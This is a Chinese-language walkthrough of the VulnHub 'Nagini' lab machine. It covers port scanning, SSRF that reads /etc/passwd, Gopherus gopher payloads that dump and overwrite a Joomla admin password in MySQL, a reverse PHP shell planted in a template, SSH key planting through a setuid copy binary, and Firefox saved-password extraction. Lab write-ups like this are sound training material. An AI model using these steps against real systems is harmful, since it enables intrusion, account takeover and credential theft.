靶机: https://download.vulnhub.com/harrypotter/Nagini.ova
难度: 中→高(打点较难)
目标: 取得 root 权限 + 3 Flag
涉及攻击方法:
- 主机发现
- 端口扫描
- WEB信息收集
- HTTP3协议
- 域名绑定
- SSRF漏洞(Gopher + Mysql)
- Joomla漏洞
- SSH公钥登录
- 浏览器密码还原
一、主机发现
arp-scan -I eth0 -l
二、端口扫描
nmap -p- 10.1.1.226
nmap -p22,80 -sV -sC 10.1.1.226
三、WEB信息收集
1、路径爬取
dirsearch -u http://10.1.1.226/
发现joomlsCMS
对路径下的文件进行爬取
dirsearch -u http://10.1.1.226/ -f -e html,php,txt -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt
kali linux默认没有安装seclists字典文件,需要手工安装命令如下
apt install seclists
通过爬取发现一个note.txt文件
提示说需要绑定一个域名来访问这个HTTP3的服务
四、域名绑定
编辑hosts文件
vi /etc/hosts
保存并退出,ping一下域名发现域名解析已经设置完成
访问http://quic.nagini.hogwarts/ 可以看到一张图片
五、HTTP3协议的使用
下载安装cloudflare客户端程序
git clone --recursive https://github.com/cloudflare/quiche #下载客户端 cd quiche #进入安装目录 sudo apt install cargo #安装cargo sudo apt install cmake #安装cmake组件 cargo build --examples sudo apt purge rustc curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh 有个选项,选1 source $HOME/.cargo/env cargo build --examples cargo test cd target/debug/examples ./http3-client http://quic.nagini.hogwarts/
通过http3 协议发现一下路径以及提示说存在配置文件的备份文件(.bak)
http://10.1.1.226/internalResourceFeTcher.php
六、SSRF漏洞利用
通过这个页面可以访问内网资源,尝试访问passwd文件
file:///etc/passwd
访问成功,确定存在SSRF漏洞
gopher协议的使用
基于tcp对后端服务进行访问(前端需要有ssrf漏洞,后端有tcp协议的应用)
根据提示在网上找到joomls的配置文件的路径,构造.bak去访问下载备份文件
joomla/configuration.php.bak
七、joomla漏洞利用
通过配置文件可以看到一些有用的信息,包括数据库的用户名、数据库名、密钥等信息
使用gopher协议对服务器的3306端口进行访问,发现web一直在转圈,确定目标主机开放有mysql服务
通过工具,利用ssrf完成gopher协议向后端数据库发送指令的目的。
下载工具地址:
利用方式:
cd进入Gopherus
运行gopherus.py --exploit mysql
接下来提示输入mysql的用户名,通过刚才的配置文件可知用户名是 goblin
这一步是输入想要执行的指令,use joomla; show tables;
会得到一个编写好的脚本,利用这个脚本放到ssrf的位置
通过刚才提交的payload可以读取数据库表信息,多提交几次,有时候不显示
通过查看源码发现joomla中用户的表“joomla_users”,然后通过表名查看表里的信息
同样的方法查看user表里的内容,表里存在username、password等账号密码
尝试通过利用ssrf漏洞使用gopher协议,将password改成自己编辑的密码,通过更改的密码登录goomla
echo -n "abc" | md5sum
将abc生成一个md5值的密码,将joomla数据库中,joomla_users表中的site_admin的password字段的值更新为abc的MD5值
use joomla; update joomla_users SET password='900150983cd24fb0d6963f7d28e17f72' WHERE username='site_admin';
同样的方法将payload提交,多提交几次,以免没有更新成功
使用abc作为密码尝试登录joomla后台,并且登录成功
通过修改模板文件,实现命令执行
使用反弹的phpshell替换error.php文件里的信息
更改phpshell并替换
保存退出!
在kali开启监听,在浏览器访问http://192.168.0.111/joomla/templates/protostar/error.php
反弹成功
shell升级
/bin/bash -i
提权
在home目录存在snape用户,并且ls -al 查看到存在.creds.txt文件
.creds.txt文件包含一个bash64编码的密码,对bash64进行解密,获取到一个密码,并成功登录到snape用户
在snape用户下查看home路径,发现hermoine用户的主目录下有一个bin文件,bin文件下的su_cp文件拥有s权限,su_cp是copy的功能,并有hermoine所属权限
八、SSH公钥登录
在kali本机生成密钥对
ssh-keygen
通过ssh将id_rsa.pub公钥copy到目标服务器上
scp id_rsa.pub snape@192.168.0.111:~/
对公钥进行改成并赋予640权限,使用su_cp将公钥copy到hermoine的.ssh/路径下
完成以后,kali使用ssh利用公钥登录hermoine用户,不要密码
九、浏览器密码还原
在hermoine的家目录存在.mozilla文件夹,他是存放浏览器的信息的文件夹下面存在firefox浏览器,通过工具去查看浏览器的账户密码
将.mozilla文件夹copy到本地的tmp目录
scp -rp hermoine@192.168.0.111:/home/hermoine/.mozilla /tmp
使用工具进行提取浏览器密码
工具地址:
https://github.com/unode/firefox_decrypt
下载好以后unzip解压,进入目录以后执行
python3 firefox_decrypt.py /tmp/.mozilla/firefox
获取用户名密码,提权成功